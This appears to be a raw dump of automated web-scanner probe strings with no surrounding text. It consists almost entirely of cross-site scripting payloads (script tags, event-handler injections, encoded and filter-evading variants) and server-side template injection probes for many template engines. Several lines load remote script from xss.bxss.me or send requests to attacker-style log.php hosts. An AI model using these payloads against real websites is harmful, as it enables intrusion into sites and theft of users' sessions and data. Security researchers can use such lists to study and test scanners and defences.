<a HrEF=jaVaScRiPT:>

555<ao46bp8 x=9501>

555

<a HrEF=http://xss.bxss.me></a>

555

555

555<img sRc='http://attacker-9027/log.php?

555'"()&%<zzz><ScRiPt >RqQs(9253)</ScRiPt>

<a HrEF=jaVaScRiPT:>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555}body{zzz:Expre/**/SSion(Zmfb(9865))}

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555'"()&%<zzz><ScRiPt >VYXs(9336)</ScRiPt>

555<abZL3NR<

'"()&%<zzz><ScRiPt >RqQs(9448)</ScRiPt>

555}body{zzz:Expre/**/SSion(Byer(9070))}

555EGGJw <ScRiPt >Zmfb(9776)</ScRiPt>

555

'"()&%<zzz><ScRiPt >VYXs(9856)</ScRiPt>

5559620669

555

555'"()&%<zzz><ScRiPt >R4F3(9251)</ScRiPt>

dfb[[${98991*97996}]]xca

555tWcyE <ScRiPt >Byer(9026)</ScRiPt>

5559365104

555<WRNJPA>24Y6X[!+!]</WRNJPA>

'"()&%<zzz><ScRiPt >R4F3(9406)</ScRiPt>

"}}dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

bfg8922\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8922

555<WHTGQT>HVT53[!+!]</WHTGQT>

dfb__${98991*97996}__::.x

bfg1340\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1340

"%}dfb{{98991*97996}}xca

555'"()&%<zzz><ScRiPt >MLnr(9417)</ScRiPt>

555<ifRAme sRc=9392.com></IfRamE>

5559423332

555<ifRAme sRc=9477.com></IfRamE>

dfb[[${98991*97996}]]xca

bfgx6678\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6678

'"()&%<zzz><ScRiPt >MLnr(9745)</ScRiPt>

bfgx10855\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10855

555<aTLRCbI x=9439>

"}dfb{98991*97996}xca

555<avlXWcY x=9391>

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<%={{={@{#{${dfb}}%>

555'"()&%<zzz><ScRiPt >YkS6(9794)</ScRiPt>

"}dfb${98991*97996}xca

<%={{={@{#{${dfb}}%>

5559179743

bfg2458\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2458

'"()&%<zzz><ScRiPt >YkS6(9779)</ScRiPt>

555<img sRc='http://attacker-9728/log.php?

555<img sRc='http://attacker-9736/log.php?

bfg4458\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4458

555

5559650261

555<addFDQ9<

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >5C9H(9536)</ScRiPt>

555

"}dfb#{98991*97996}xca

<th:t="${dfb}#foreach

bfgx1724\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1724

dfb{{98991*97996}}xca

"}dfb{#98991*97996}xca

555<aQloQCT<

<%={{={@{#{${dfb}}%>

555<W2OLEB>8S1UX[!+!]</W2OLEB>

bfgx3587\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3587

555<ScRiPt >6x79(9730)</ScRiPt>

555

bfg10830\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10830

dfb{{98991*97996}}xca

555<WD75TP>ZPZH1[!+!]</WD75TP>

555

"}dfb{@98991*97996}xca

555<script>5C9H(9275)</script>

555'"()&%<zzz><ScRiPt >B06t(9456)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

bfgx4892\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4892

dfb{98991*97996}xca

<%={{={@{#{${dfb}}%>

"}}dfb{{=98991*97996}}xca

555

<%={{={@{#{${dfb}}%>

555

555<script>6x79(9530)</script>

<th:t="${dfb}#foreach

555<script>5C9H(9412)</script>9412

'"()&%<zzz><ScRiPt >B06t(9614)</ScRiPt>

")dfb@(98991*97996)xca

dfb${98991*97996}xca

<th:t="${dfb}#foreach

555<ScR<ScRiPt>IpT>5C9H(9112)</sCr<ScRiPt>IpT>

dfb{{98991*97996}}xca

555<script>6x79(9747)</script>9747

555

5559433799

555

<th:t="${dfb}#foreach

555<ScR<ScRiPt>IpT>6x79(9697)</sCr<ScRiPt>IpT>

dfb[[${98991*97996}]]xca

"%>dfb<%=98991*97996%>xca

dfb{{98991*97996}}xca

dfb#{98991*97996}xca

dfb__${98991*97996}__::.x

555<ScRiPt >5C9H(9264)</ScRiPt>

555

bfg3943\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3943

555<ScRiPt >6x79(9347)</ScRiPt>

"}dfb#set($x=98991*97996)${x}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9060></ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{#98991*97996}xca

bfgx6115\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6115

"}dfb{{"abc"|title}}xca

555<ScRiPt >RqQs(9541)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9997></ScRiPt>

555<ScRiPt >5C9H(9679)</ScRiPt>

dfb{{98991*97996}}xca

dfb{98991*97996}xca

<%={{={@{#{${dfb}}%>

dfb{@98991*97996}xca

555<W2QSWT>YCNXT[!+!]</W2QSWT>

555

"print("dfb" . 98991*97996 . "xca")

555<svg  \xa0onload=5C9H(9877)

dfb{98991*97996}xca

555<ScRiPt >6x79(9384)</ScRiPt>

dfb{{98991*97996}}xca

555<isindex type=image src=1 onerror=5C9H(9292)>

555

555<script>RqQs(9285)</script>

"98991*97996*98991*97996

555<svg  \xa0onload=6x79(9713)

dfb${98991*97996}xca

dfb{{=98991*97996}}xca

dfb${98991*97996}xca

dfb[[${98991*97996}]]xca

555<iframe src='data:text/html

<th:t="${dfb}#foreach

555<isindex type=image src=1 onerror=6x79(9949)>

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

dfb#{98991*97996}xca

555<script>RqQs(9046)</script>9046

dfb#{98991*97996}xca

555<body onload=5C9H(9547)>

dfb__${98991*97996}__::.x

"}}}dfb{{{this}}}xca

dfb@(98991*97996)xca

555

555<iframe src='data:text/html

dfb{#98991*97996}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScR<ScRiPt>IpT>RqQs(9065)</sCr<ScRiPt>IpT>

dfb<%=98991*97996%>xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

"}#{98991*97996*98991*97996}

555<ScRiPt >RqQs(9419)</ScRiPt>

dfb{#98991*97996}xca

dfb{@98991*97996}xca

555<img src=//xss.bxss.me/t/dot.gif onload=5C9H(9925)>

555<body onload=6x79(9105)>

dfb#set($x=98991*97996)${x}xca

"}dfb#{xca}=123

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9688></ScRiPt>

555<ScRiPt >MLnr(9554)</ScRiPt>

555<ScRiPt >RqQs(9396)</ScRiPt>

dfb{{=98991*97996}}xca

555<img src=//xss.bxss.me/t/dot.gif onload=6x79(9760)>

dfb{@98991*97996}xca

555

555<img src=xyz OnErRor=5C9H(9396)>

dfb{{"abc"|title}}xca

555<WBTJ35>TO76U[!+!]</WBTJ35>

"}}dfb{{'abcd'.toUpperCase()}}xca

555<svg  \xa0onload=RqQs(9254)

dfb{{=98991*97996}}xca

555<img src=xyz OnErRor=6x79(9685)>

555<script>MLnr(9325)</script>

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

dfb@(98991*97996)xca

555<img/src=">" onerror=alert(9982)>

dfb{{98991*97996}}xca

print("dfb" . 98991*97996 . "xca")

555<img/src=">" onerror=alert(9228)>

555<isindex type=image src=1 onerror=RqQs(9083)>

555<script>MLnr(9549)</script>9549

dfb@(98991*97996)xca

dfb[[${98991*97996}]]xca

555'"()&%<zzz><ScRiPt >a4tO(9888)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%36%78%37%39%289169%29%3C%2F%73%43%72%69%70%54%3E

98991*97996*98991*97996

dfb<%=98991*97996%>xca

"}}dfb{{98991*97996}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%35%43%39%48%289791%29%3C%2F%73%43%72%69%70%54%3E

555<iframe src='data:text/html

555<ScR<ScRiPt>IpT>MLnr(9546)</sCr<ScRiPt>IpT>

555\u003CScRiPt\6x79(9595)\u003C/sCripT\u003E

'"()&%<zzz><ScRiPt >a4tO(9137)</ScRiPt>

dfb<%=98991*97996%>xca

555\u003CScRiPt\5C9H(9431)\u003C/sCripT\u003E

555<ScRiPt >MLnr(9739)</ScRiPt>

dfb__${98991*97996}__::.x

555<body onload=RqQs(9939)>

5559828919

dfb#set($x=98991*97996)${x}xca

dfb#set($x=98991*97996)${x}xca

dfb{@math key=98991 method="multiply" operand=97996/}xca

"}dfb[[${98991*97996}]]xca

555<img src=//xss.bxss.me/t/dot.gif onload=RqQs(9458)>

555&lt

555&lt

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9116></ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

"dfb__${98991*97996}__::.x

555<img src=xyz OnErRor=RqQs(9569)>

bfg10662\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10662

dfb{{"abc"|title}}xca

dfb{{"abc"|title}}xca

\xf6<img zzz onmouseover=6x79(95891) //\xf6>

\xf6<img zzz onmouseover=5C9H(93791) //\xf6>

555<img/src=">" onerror=alert(9621)>

dfb{{{this}}}xca

bfgx9327\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9327

print("dfb" . 98991*97996 . "xca")

555<ScRiPt >MLnr(9978)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%52%71%51%73%289012%29%3C%2F%73%43%72%69%70%54%3E

555<input autofocus onfocus=6x79(9676)>

555<ScRiPt >B06t(9844)</ScRiPt>

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

print("dfb" . 98991*97996 . "xca")

555<input autofocus onfocus=5C9H(9454)>

<%={{={@{#{${dfb}}%>

#{98991*97996*98991*97996}

<a HrEF=http://xss.bxss.me></a>

555\u003CScRiPt\RqQs(9674)\u003C/sCripT\u003E

555<WUCEM6>SOQLQ[!+!]</WUCEM6>

'}}dfb{{98991*97996}}xca

555

98991*97996*98991*97996

555<svg  \xa0onload=MLnr(9638)

98991*97996*98991*97996

<a HrEF=http://xss.bxss.me></a>

dfb#{xca}=123

555&lt

<a HrEF=jaVaScRiPT:>

<th:t="${dfb}#foreach

555<isindex type=image src=1 onerror=MLnr(9474)>

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<script>B06t(9571)</script>

dfb{{'abcd'.toUpperCase()}}xca

dfb{@math key=98991 method="multiply" operand=97996/}xca

\xf6<img zzz onmouseover=RqQs(95341) //\xf6>

'%}dfb{{98991*97996}}xca

555<script>B06t(9500)</script>9500

dfb{{{this}}}xca

<a HrEF=jaVaScRiPT:>

dfb{{{this}}}xca

555}body{zzz:Expre/**/SSion(5C9H(9034))}

555

555<iframe src='data:text/html

555<ScR<ScRiPt>IpT>B06t(9658)</sCr<ScRiPt>IpT>

#{98991*97996*98991*97996}

555<input autofocus onfocus=RqQs(9873)>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

'}dfb{98991*97996}xca

555}body{zzz:Expre/**/SSion(6x79(9302))}

555tLVmP <ScRiPt >5C9H(9714)</ScRiPt>

#{98991*97996*98991*97996}

555o2SU7 <ScRiPt >6x79(9711)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScRiPt >B06t(9033)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555<body onload=MLnr(9979)>

'}dfb${98991*97996}xca

dfb#{xca}=123

dfb{{98991*97996}}xca

555<WXW7WI>FNKEV[!+!]</WXW7WI>

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9273></ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=MLnr(9247)>

dfb#{xca}=123

'}dfb#{98991*97996}xca

dfb{{'abcd'.toUpperCase()}}xca

dfb[[${98991*97996}]]xca

555<WSW9DH>CYWGJ[!+!]</WSW9DH>

<a HrEF=jaVaScRiPT:>

555<ifRAme sRc=9900.com></IfRamE>

555<ScRiPt >B06t(9283)</ScRiPt>

555<img src=xyz OnErRor=MLnr(9627)>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

dfb{{'abcd'.toUpperCase()}}xca

dfb{{98991*97996}}xca

555<aThKWT7 x=9470>

'}dfb{#98991*97996}xca

dfb__${98991*97996}__::.x

555<ifRAme sRc=9035.com></IfRamE>

555}body{zzz:Expre/**/SSion(RqQs(9970))}

'}dfb{@98991*97996}xca

555<aqYW5sE x=9296>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<img sRc='http://attacker-9850/log.php?

555<svg  \xa0onload=B06t(9554)

dfb{{98991*97996}}xca

555<img/src=">" onerror=alert(9193)>

dfb[[${98991*97996}]]xca

555EwslZ <ScRiPt >RqQs(9754)</ScRiPt>

555<isindex type=image src=1 onerror=B06t(9430)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<aSJL0cp<

dfb{{98991*97996}}xca

'}}dfb{{=98991*97996}}xca

dfb[[${98991*97996}]]xca

555<img sRc='http://attacker-9208/log.php?

555<iframe src='data:text/html

%35%35%35%3C%53%63%52%69%50%74%20%3E%4D%4C%6E%72%289705%29%3C%2F%73%43%72%69%70%54%3E

dfb__${98991*97996}__::.x

555<ScRiPt >VYXs(9823)</ScRiPt>

dfb__${98991*97996}__::.x

555<WZQL42>7NONJ[!+!]</WZQL42>

dfb[[${98991*97996}]]xca

555'"()&%<zzz><ScRiPt >yulM(9046)</ScRiPt>

')dfb@(98991*97996)xca

555<ifRAme sRc=9018.com></IfRamE>

555<am9oRjr<

555<WXOTKC>EMOIO[!+!]</WXOTKC>

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<body onload=B06t(9846)>

'%>dfb<%=98991*97996%>xca

555\u003CScRiPt\MLnr(9191)\u003C/sCripT\u003E

'"()&%<zzz><ScRiPt >yulM(9027)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >R4F3(9991)</ScRiPt>

555<aDQ9Id5 x=9416>

555<script>VYXs(9665)</script>

555<img src=//xss.bxss.me/t/dot.gif onload=B06t(9180)>

5559944101

555'"()&%<zzz><ScRiPt >a5hv(9658)</ScRiPt>

'}dfb#set($x=98991*97996)${x}xca

555<ScRiPt >a4tO(9355)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555&lt

555<img sRc='http://attacker-9118/log.php?

555<WPEZJX>DTYEB[!+!]</WPEZJX>

555<ScRiPt >YkS6(9981)</ScRiPt>

'"()&%<zzz><ScRiPt >a5hv(9236)</ScRiPt>

bfg10997\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10997

555<img src=xyz OnErRor=B06t(9394)>

555<script>VYXs(9461)</script>9461

555<aCaLnmG<

555<WXP7FQ>UCX0S[!+!]</WXP7FQ>

\xf6<img zzz onmouseover=MLnr(93501) //\xf6>

555<script>R4F3(9672)</script>

555<img/src=">" onerror=alert(9479)>

'}dfb{{"abc"|title}}xca

5559175199

555<script>a4tO(9074)</script>

555<input autofocus onfocus=MLnr(9087)>

555<ScR<ScRiPt>IpT>VYXs(9122)</sCr<ScRiPt>IpT>

bfgx1643\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1643

555<WID8FU>YQZU9[!+!]</WID8FU>

555'"()&%<zzz><ScRiPt >UwoD(9538)</ScRiPt>

555<script>R4F3(9951)</script>9951

%35%35%35%3C%53%63%52%69%50%74%20%3E%42%30%36%74%289505%29%3C%2F%73%43%72%69%70%54%3E

<%={{={@{#{${dfb}}%>

'"()&%<zzz><ScRiPt >UwoD(9071)</ScRiPt>

555<script>a4tO(9670)</script>9670

'print("dfb" . 98991*97996 . "xca")

555<script>YkS6(9719)</script>

bfg7082\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7082

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt >VYXs(9682)</ScRiPt>

555\u003CScRiPt\B06t(9881)\u003C/sCripT\u003E

bfgx10623\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10623

555<ScR<ScRiPt>IpT>R4F3(9450)</sCr<ScRiPt>IpT>

555

5559438228

'98991*97996*98991*97996

555<script>YkS6(9649)</script>9649

555<ScR<ScRiPt>IpT>a4tO(9946)</sCr<ScRiPt>IpT>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9077></ScRiPt>

555<ScRiPt >R4F3(9419)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555&lt

<th:t="${dfb}#foreach

555<ScR<ScRiPt>IpT>YkS6(9735)</sCr<ScRiPt>IpT>

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<ScRiPt >a4tO(9512)</ScRiPt>

555}body{zzz:Expre/**/SSion(MLnr(9504))}

<%={{={@{#{${dfb}}%>

\xf6<img zzz onmouseover=B06t(94301) //\xf6>

555<ScRiPt >VYXs(9492)</ScRiPt>

bfg10586\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10586

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9124></ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9643></ScRiPt>

'}}}dfb{{{this}}}xca

555<input autofocus onfocus=B06t(9432)>

555XjU7L <ScRiPt >MLnr(9896)</ScRiPt>

555<svg  \xa0onload=VYXs(9841)

555<ScRiPt >YkS6(9603)</ScRiPt>

555

bfgx9951\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9951

555<ScRiPt >R4F3(9980)</ScRiPt>

555<ScRiPt >a4tO(9597)</ScRiPt>

555

'}#{98991*97996*98991*97996}

<a HrEF=http://xss.bxss.me></a>

555<isindex type=image src=1 onerror=VYXs(9535)>

555<WKXOAI>RGKAA[!+!]</WKXOAI>

555<svg  \xa0onload=a4tO(9309)

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9939></ScRiPt>

<%={{={@{#{${dfb}}%>

555<svg  \xa0onload=R4F3(9390)

<th:t="${dfb}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

'}dfb#{xca}=123

555

555<iframe src='data:text/html

555<isindex type=image src=1 onerror=a4tO(9645)>

<a HrEF=jaVaScRiPT:>

555<isindex type=image src=1 onerror=R4F3(9864)>

555<ifRAme sRc=9401.com></IfRamE>

<th:t="${dfb}#foreach

555

555

555<ScRiPt >YkS6(9289)</ScRiPt>

555<iframe src='data:text/html

'}}dfb{{'abcd'.toUpperCase()}}xca

555}body{zzz:Expre/**/SSion(B06t(9647))}

555<body onload=VYXs(9421)>

555

555<aRshxpM x=9423>

555<img src=//xss.bxss.me/t/dot.gif onload=VYXs(9555)>

555<svg  \xa0onload=YkS6(9906)

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<body onload=a4tO(9519)>

555<iframe src='data:text/html

555nWycR <ScRiPt >B06t(9756)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

'}}dfb{{98991*97996}}xca

555<img sRc='http://attacker-9893/log.php?

555<img src=xyz OnErRor=VYXs(9462)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<isindex type=image src=1 onerror=YkS6(9888)>

555<img src=//xss.bxss.me/t/dot.gif onload=a4tO(9726)>

555

dfb[[${98991*97996}]]xca

555<body onload=R4F3(9956)>

'}dfb[[${98991*97996}]]xca

555<img/src=">" onerror=alert(9755)>

555<arrY39W<

555<WA6OHO>NPEN4[!+!]</WA6OHO>

dfb__${98991*97996}__::.x

555<img src=//xss.bxss.me/t/dot.gif onload=R4F3(9460)>

555<img src=xyz OnErRor=a4tO(9807)>

555

'dfb__${98991*97996}__::.x

555<iframe src='data:text/html

555<ifRAme sRc=9359.com></IfRamE>

dfb{{98991*97996}}xca

555<img/src=">" onerror=alert(9071)>

555<img src=xyz OnErRor=R4F3(9833)>

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

%35%35%35%3C%53%63%52%69%50%74%20%3E%56%59%58%73%289447%29%3C%2F%73%43%72%69%70%54%3E

555<anhcK7l x=9975>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555'"()&%<zzz><ScRiPt >Wl69(9571)</ScRiPt>

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%61%34%74%4F%289928%29%3C%2F%73%43%72%69%70%54%3E

555<body onload=YkS6(9869)>

'"()&%<zzz><ScRiPt >Wl69(9836)</ScRiPt>

555<ScRiPt >yulM(9881)</ScRiPt>

555\u003CScRiPt\VYXs(9098)\u003C/sCripT\u003E

1}}dfb{{98991*97996}}xca

dfb__${98991*97996}__::.x

555<img sRc='http://attacker-9397/log.php?

555<img/src=">" onerror=alert(9419)>

555\u003CScRiPt\a4tO(9701)\u003C/sCripT\u003E

dfb[[${98991*97996}]]xca

555<img src=//xss.bxss.me/t/dot.gif onload=YkS6(9992)>

5559820834

555<WUEZFM>68K4B[!+!]</WUEZFM>

555&lt

1%}dfb{{98991*97996}}xca

555<aQbR9fr<

555&lt

555<img src=xyz OnErRor=YkS6(9676)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%52%34%46%33%289734%29%3C%2F%73%43%72%69%70%54%3E

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb__${98991*97996}__::.x

555<script>yulM(9685)</script>

1}dfb{98991*97996}xca

555<ScRiPt >a5hv(9262)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

bfg4930\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4930

\xf6<img zzz onmouseover=a4tO(91891) //\xf6>

555<img/src=">" onerror=alert(9806)>

555\u003CScRiPt\R4F3(9718)\u003C/sCripT\u003E

\xf6<img zzz onmouseover=VYXs(95561) //\xf6>

555<script>yulM(9432)</script>9432

1}dfb${98991*97996}xca

555<input autofocus onfocus=VYXs(9927)>

555&lt

bfgx1612\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1612

555<input autofocus onfocus=a4tO(9928)>

1}dfb#{98991*97996}xca

555<WCQECT>RD1GX[!+!]</WCQECT>

555<ScRiPt >UwoD(9727)</ScRiPt>

555'"()&%<zzz><ScRiPt >1TkE(9787)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%59%6B%53%36%289819%29%3C%2F%73%43%72%69%70%54%3E

<a HrEF=http://xss.bxss.me></a>

\xf6<img zzz onmouseover=R4F3(93051) //\xf6>

555<ScR<ScRiPt>IpT>yulM(9277)</sCr<ScRiPt>IpT>

<a HrEF=jaVaScRiPT:>

<%={{={@{#{${dfb}}%>

1}dfb{#98991*97996}xca

'"()&%<zzz><ScRiPt >1TkE(9621)</ScRiPt>

555<script>a5hv(9065)</script>

555<WHNUJQ>UHT0M[!+!]</WHNUJQ>

555<input autofocus onfocus=R4F3(9406)>

<a HrEF=http://xss.bxss.me></a>

555\u003CScRiPt\YkS6(9493)\u003C/sCripT\u003E

1}dfb{@98991*97996}xca

555<ScRiPt >yulM(9248)</ScRiPt>

555}body{zzz:Expre/**/SSion(VYXs(9495))}

555

555Pv6dZ <ScRiPt >VYXs(9397)</ScRiPt>

5559601878

555<script>UwoD(9027)</script>

<a HrEF=jaVaScRiPT:>

1}}dfb{{=98991*97996}}xca

555<script>a5hv(9221)</script>9221

<a HrEF=http://xss.bxss.me></a>

<th:t="${dfb}#foreach

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9717></ScRiPt>

555}body{zzz:Expre/**/SSion(a4tO(9322))}

555&lt

555<script>UwoD(9001)</script>9001

1)dfb@(98991*97996)xca

555<ScRiPt >yulM(9695)</ScRiPt>

555<WG2VZC>NRJKA[!+!]</WG2VZC>

5552dz3j <ScRiPt >a4tO(9642)</ScRiPt>

555

bfg1954\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1954

<a HrEF=jaVaScRiPT:>

555<ifRAme sRc=9522.com></IfRamE>

555<WPQYSU>I7O0L[!+!]</WPQYSU>

555<ScR<ScRiPt>IpT>a5hv(9298)</sCr<ScRiPt>IpT>

555}body{zzz:Expre/**/SSion(R4F3(9390))}

1%>dfb<%=98991*97996%>xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

\xf6<img zzz onmouseover=YkS6(93901) //\xf6>

555<ScR<ScRiPt>IpT>UwoD(9546)</sCr<ScRiPt>IpT>

555<svg  \xa0onload=yulM(9718)

bfgx6060\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6060

555<ahQaVsl x=9789>

555<ifRAme sRc=9147.com></IfRamE>

555<ScRiPt >UwoD(9304)</ScRiPt>

555<isindex type=image src=1 onerror=yulM(9792)>

5556nckX <ScRiPt >R4F3(9347)</ScRiPt>

555<input autofocus onfocus=YkS6(9677)>

555<img sRc='http://attacker-9430/log.php?

<%={{={@{#{${dfb}}%>

555<ScRiPt >a5hv(9775)</ScRiPt>

1}dfb#set($x=98991*97996)${x}xca

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9467></ScRiPt>

555

555<iframe src='data:text/html

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9836></ScRiPt>

555<WGAOYG>ELODA[!+!]</WGAOYG>

dfb{{98991*97996}}xca

<a HrEF=http://xss.bxss.me></a>

555<a9mATdd x=9315>

555<am7QVzN<

1}dfb{{"abc"|title}}xca

555<ScRiPt >a5hv(9086)</ScRiPt>

<th:t="${dfb}#foreach

dfb[[${98991*97996}]]xca

555<ifRAme sRc=9353.com></IfRamE>

555<ScRiPt >UwoD(9362)</ScRiPt>

555<body onload=yulM(9864)>

555<img sRc='http://attacker-9702/log.php?

555<aaRw5yw x=9970>

<a HrEF=jaVaScRiPT:>

555<svg  \xa0onload=a5hv(9278)

555<img src=//xss.bxss.me/t/dot.gif onload=yulM(9528)>

555<svg  \xa0onload=UwoD(9391)

dfb__${98991*97996}__::.x

555<aVLV1OZ<

555}body{zzz:Expre/**/SSion(YkS6(9274))}

555<img sRc='http://attacker-9353/log.php?

1print("dfb" . 98991*97996 . "xca")

555

555SxOFy <ScRiPt >YkS6(9120)</ScRiPt>

555<isindex type=image src=1 onerror=a5hv(9771)>

555<isindex type=image src=1 onerror=UwoD(9546)>

555<img src=xyz OnErRor=yulM(9119)>

198991*97996*98991*97996

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<aHvSkmm<

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<iframe src='data:text/html

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<WNJP2Z>NQVAR[!+!]</WNJP2Z>

555<iframe src='data:text/html

555<img/src=">" onerror=alert(9256)>

555<ScRiPt >Wl69(9566)</ScRiPt>

1}}}dfb{{{this}}}xca

555<ifRAme sRc=9822.com></IfRamE>

555

555<body onload=UwoD(9276)>

555<body onload=a5hv(9668)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%79%75%6C%4D%289777%29%3C%2F%73%43%72%69%70%54%3E

555<img src=//xss.bxss.me/t/dot.gif onload=UwoD(9970)>

555<WRE7TX>Y5C43[!+!]</WRE7TX>

dfb{{98991*97996}}xca

1}#{98991*97996*98991*97996}

555\u003CScRiPt\yulM(9694)\u003C/sCripT\u003E

555<img src=//xss.bxss.me/t/dot.gif onload=a5hv(9148)>

555<img src=xyz OnErRor=UwoD(9334)>

555<script>Wl69(9915)</script>

555<aTChRBO x=9359>

1}dfb#{xca}=123

dfb[[${98991*97996}]]xca

555<script>Wl69(9485)</script>9485

555<img src=xyz OnErRor=a5hv(9020)>

555<img sRc='http://attacker-9258/log.php?

555<img/src=">" onerror=alert(9106)>

555&lt

1}}dfb{{'abcd'.toUpperCase()}}xca

dfb__${98991*97996}__::.x

\xf6<img zzz onmouseover=yulM(90221) //\xf6>

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<ahRtkmg<

%35%35%35%3C%53%63%52%69%50%74%20%3E%55%77%6F%44%289276%29%3C%2F%73%43%72%69%70%54%3E

555<img/src=">" onerror=alert(9198)>

555<ScR<ScRiPt>IpT>Wl69(9055)</sCr<ScRiPt>IpT>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1}}dfb{{98991*97996}}xca

555\u003CScRiPt\UwoD(9352)\u003C/sCripT\u003E

555<input autofocus onfocus=yulM(9987)>

555<ScRiPt >1TkE(9144)</ScRiPt>

555<ScRiPt >Wl69(9368)</ScRiPt>

555&lt

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9431></ScRiPt>

